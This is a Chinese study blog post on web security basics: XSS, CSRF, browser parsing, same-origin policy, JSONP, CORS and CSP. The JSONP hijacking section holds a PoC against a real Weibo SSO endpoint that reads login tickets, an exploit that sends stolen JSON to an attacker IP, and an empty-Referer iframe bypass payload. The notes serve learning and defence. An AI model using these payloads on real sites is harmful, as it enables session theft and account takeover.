最近在回炉重造,填填以前的坑,结合最近的面试写个回炉笔记记一下重点。
xss
Cross-Site Scripting(跨站脚本攻击)简称 XSS,是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全。
通常将xss分为三类
- 反射型
- 存储型
- dom型
前端安全中面试官很喜欢关注的点在于反射型xss和dom型xss的区别
因为反射型和存储型的区别可以说很简单了
更深入的讲解一下dom型xss
dom,全称Document Object Model,译为文档对象模型,而dom型xss的输出点就在dom上。
但我一直很疑惑的是其实从分类方法上讲,它不应该和上面两个并列,但是我也不知道为啥我都被面试官问过几次上面那个问题。
区别的话,首先在于dom型可以是反射的也可以是存储的。
其次在于反射型的xss是同服务端交互,脚本作为html一部分返回回来。
而dom型的脚本是通过客户端JavaScript放入html中的。
一般dom型的xss要比反射型的xss更难被检测到
CSRF
(这个感觉没什么好写的,简单记一下吧
CSRF(Cross-site request forgery),即跨站请求伪造
常见攻击方式为攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。
简单讲就是盗用了你的cookie
结合xss可以扩展攻击面,在ctf前端题目中比较常见,常见的trick为用xss打管理员然后通过后台csrf完成某种操作。
浏览器解析方式
xss中经常要涉及一些编码问题,理解浏览器的解析方式有助于bypass
简单讲,html解析是一个状态机
开始时处于Data state,遇到<后变为Tag open state,然后转变为Tag name state,before attribute name state….然后进入Data state并释放当前标签的token(token代表一个有完整语义的单元)
其中有两个比较特殊的点
在RCDATA元素标签中,会进入一种RCDATA状态,在<textarea>
和<title>
的内容中不会创建标签,就不会有脚本能够执行。
svg外部标签,在解析它的时候,由于其支持xml协议,从而,svg还会对其内部数据进行一次xml解码,也就导致了svg标签内部可以使用html编码
例如<script>alert(1)</script>
不会执行,因为其中的html编码并没有解析
但是<svg><script>alert(1)</script>
就可以执行,在svg标签内部,html编码会被解析
html编码可以在这些情况下使用
- Data state
- 标签外部
- 属性值
- svg标签内部
同源策略
同源策略是整个前端世界的运行的基础
同源政策的目的,是为了保证用户信息的安全,防止恶意的网站窃取数据
它包含三个相同
- 端口
- 协议
- 域名
不同源一般会有这些限制
- Cookie、LocalStorage 和 IndexDB 无法读取
- DOM 无法获得。
- AJAX 请求不能发送。
跨域
跨域资源传输是我们常见的需求,但又因为同源策略的限制,所以我们常用以下两种方法
JSONP
JSONP是服务器与客户端跨源通信的常用方法。最大特点就是简单适用, 老式浏览器全部支持,服务器改造非常小。
它的基本思想是,网页通过添加一个<script>
元素,通过src属性向服务 器请求JSON数据,这种做法不受同源政策限制;服务器收到请求后,将 数据放在一个指定名字的回调函数里传回来。
但是这产生了跨域窃取数据的可能,造成JSONP劫持的问题
JSONP跨域巧妙的利用了script标签能跨域的特点,实现了json的跨域传输。
JSONP劫持又为“ JSON Hijacking ”,这里其实是属于CSRF的范畴。攻击者可以在自己的站点中写入一条访问Json的JS,在用户Cookie未过期的情况下,Json中会返回敏感的用户信息,然后攻击者可以获取到数据,并发送到自己的站点。
它通常出现在一个使用了回调函数的接口当中
例如这样一个获取id和用户名的接口1
2
3
4
5
6
7
8<?php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//获取回调函数名
//json数据
//$json_data = '["id","user"]';
$json_data='({"id":"1","name":"Aaron"})';
echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
?>
这里的回调函数是根据你的请求参数决定的,然后将获取到的JSONP数据直接插入到script标签中就能执行回调函数达到跨域的目的
但是这样就会带来劫持的问题
乌云漏洞编号204941
是一个微博的JSONP劫持
这是接口调用1
http://login.sina.com.cn/sso/login.php?entry=wbwidget&service=miniblog&encoding=UTF-8&gateway=1&returntype=TEXT&from=&callback=sinaSSOController.autoLoginCallBack3&useticket=1&client=ssologin.js(v1.4.2)&_=1462341848253
在已登陆的情况下访问这个接口会返回uid,可用于登陆
所以jsonp劫持本质上仍是一个csrf
区别在于csrf一般是盗用cookie去发送一些请求,常见的比如修改密码删除文章一类
但jsonp劫持在于盗用你的cookie去访问接口,然后拿到这个接口的数据,或者由于自定义回调函数的问题触发反射型的xss
上述接口的返回值为1
sinaSSOController.autoLoginCallBack3({"retcode":"0","ticket":"ST-M****M3MQ==-1462342428-xd-D71E5*********D7EB3C15","uid":"31******1","nick":"xxx"});
可以看到这里有很多敏感信息
这些敏感信息可以用于登陆,比如通过如下接口1
http://passport.weibo.com/wbsso/login?url=http%3A%2F%2Fweibo.com%2F&ticket=ST-MzE****MQ==-1462341863-xd-7F3B3****8A311A14&retcode=0
然后这是给出的poc1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
<html>
<h4><center>weibo jsonp劫持演示</center></h4>
<body>
<script>
var test = function(obj){
alert('uid: ' + obj.uid);
alert('nickname: ' + obj.nick);
alert('ticket: ' + obj.ticket);
}
var s=document.createElement('script');
s.src='http://login.sina.com.cn/sso/login.php?entry=sso&returntype=TEXT&url=http%3A%2F%2Fweibo.com%2F&gateway=1&savestate=999&callback=test&_rand='+Math.random();
document.body.appendChild(s);
</script>
</body>
</html>
(这里回调的是自己写的test函数用于漏洞证明
实际的exp中会将敏感信息保存利用
常见exp1
2
3
4
5
6
7
8
9
10<script>
function test(data){
//alert(v.name);
var xmlhttp = new XMLHttpRequest();
var url = "http://192.168.192.120/" + JSON.stringify(data);
xmlhttp.open("GET",url,true);
xmlhttp.send();
}
</script>
<script src="http://10.59.0.248/1.php?callback=test"></script>
劫持成功时我们可以在日志中获取到敏感信息
需要注意的是Content-Type和X-Content-Type-Options头,如果在API请求的响应标头中,X-Content-Type-Options设置为nosniff,则必须将Content-Type设置为JavaScript(text/javascript,application/javascript,text/ecmascript等)来在所有浏览器上生效。 这是因为通过在响应中包含回调,响应不再是JSON,而是JavaScript。
回调函数是动态,主要有以下几类情况:
- 完全可控(GET变量)
回调函数在URL中指定,我们可以完全控制它。 - 部分可控
比如附加动态的数字,每个会话都不同
如果附加的数字比较短,可以遍历创建回调函数。 - 完全可控,但是没有显示在原始请求中(不知道参数名)
最后一个场景涉及一个显然没有回调的API调用,因此没有可见的JSONP。
这可能发生在开发人员,为其他软件或代码留下隐藏的向后兼容性只是没有在重构时删除。
因此,当看到没有回调的API调用时,特别是如果JSON格式的数据已经在括号之间,手动添加回调到请求。
如果我们有以下API调用http://10.59.0.248/1.php,我们可能会尝试猜测回调变量:
http://10.59.0.248/1.php?callback=test
http://10.59.0.248/1.php?cb=test
其他的还有func、function、call、jsonp、jsonpcallback等等。
常见的修复方案:
- Referer正则匹配
常见的有Referer匹配正则编写错误导致正则绕过。
另外在很多情况下,开发者在部署过滤 Referer 来源时,忽视了一个空 Referer 的过滤。一般情况下浏览器直接访问某 URL 是不带 Referer 的,所以很多防御部署是允许空 Referer 的。1
<iframe src=”javascript:'<script>function JSON(o){alert(o.name);}</script><script src=http://10.59.0.248/1.php?callback=JSON></script>'”></iframe>
这样就可以发送一个没有refer的请求
- 添加Token
- 放弃使用Jsonp跨域获取数据,使用CORS或者PostMessage
CORS
CORS是AJAX跨域的解决方法。
CORS需要浏览器和服务器同时支持。目前,所有浏览器都支持该功能,IE浏览器不能低于IE10。
浏览器将CORS请求分成两类:简单请求(simple request)和非简单请求(not-so-simple request)。
同时满足以下两大条件,就属于简单请求。
- 请求方式
- HEAD
- GET
- POST
- http头信息不超过以下字段
- Accept
- Accept-Language
- Content-Language
- Last-Event-ID
- Content-Type:只限于三个值application/x-www-form-urlencoded、multipart/form-data、text/plain
简单请求
浏览器发现这次跨源AJAX请求是简单请求,就自动在头信息之中,添加一个Origin字段。1
2
3
4
5
6GET /cors HTTP/1.1
Origin: http://api.bob.com
Host: api.alice.com
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...
如果Origin指定的源不在许可范围内,则会返回一个正常的http响应,客户端收到后因为没有Access-Control-Allow-Origin字段而报错。
如果跨域成功,则会多出几个头信息1
2
3Access-Control-Allow-Origin: http://api.bob.com
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: FooBar
其实主要就是依据Access-Control-Allow-Origin 头来判别允许加载的源
要发送cookie首先要设置Access-Control-Allow-Credentials,同时要在AJAX请求中打开withCredentials属性。
非简单请求
非简单请求相比简单请求,其实只是多了一次预检请求(preflight)
浏览器先询问服务器,当前网页所在的域名是否在服务器的许可名单之中,以及可以使用哪些HTTP动词和头信息字段。只有得到肯定答复,浏览器才会发出正式的XMLHttpRequest请求,否则就报错。
1 | OPTIONS /cors HTTP/1.1 |
有两个特殊字段
- Access-Control-Request-Method
该字段是必须的,用来列出浏览器的CORS请求会用到哪些HTTP方法,上例是PUT。
- Access-Control-Request-Headers
该字段是一个逗号分隔的字符串,指定浏览器CORS请求会额外发送的头信息字段,上例是X-Custom-Header。
服务器确认跨域的话就会返回带有cors相关字段的包1
2
3
4Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: X-Custom-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 1728000
- Access-Control-Allow-Methods
该字段必需,它的值是逗号分隔的一个字符串,表明服务器支持的所有跨域请求的方法。注意,返回的是所有支持的方法,而不单是浏览器请求的那个方法。这是为了避免多次”预检”请求。
- Access-Control-Allow-Headers
如果浏览器请求包括Access-Control-Request-Headers字段,则Access-Control-Allow-Headers字段是必需的。它也是一个逗号分隔的字符串,表明服务器支持的所有头信息字段,不限于浏览器在”预检”中请求的字段。
内容安全策略
Content Security Policy (CSP)是一个额外的安全层,用于检测并削弱跨站脚本攻击。
CSP的特点就是他是在浏览器层面做的防护,是和同源策略同一级别,除非浏览器本身出现漏洞,否则不可能从机制上绕过。
CSP只允许被认可的JS块、JS文件、CSS等解析,只允许向指定的域发起请求。
CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。
两种方法可以启用 CSP。
- 一种是通过 HTTP 头信息的Content-Security-Policy的字段。
- 另一种是通过网页的标签。
常见配置规则
- default-src 定义资源默认加载策略
- font-src 定义 Font 加载策略
- frame-src 定义 Frame 加载策略
- script-src 定义js加载策略
- img-src 定义图片加载策略
有了csp自然就存在csp bypass,关于csp bypass放到后面再写吧。
参考链接
http://vinc.top/2017/02/09/jsonp%E5%AF%BC%E8%87%B4%E7%9A%84%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98/
http://www.ruanyifeng.com/blog/2016/09/csp.html